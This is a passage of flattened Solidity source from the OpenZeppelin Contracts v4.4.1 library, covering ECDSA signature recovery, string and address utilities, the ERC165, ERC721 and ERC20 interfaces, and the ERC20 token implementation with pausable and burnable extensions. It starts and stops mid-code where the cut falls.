cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol) pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 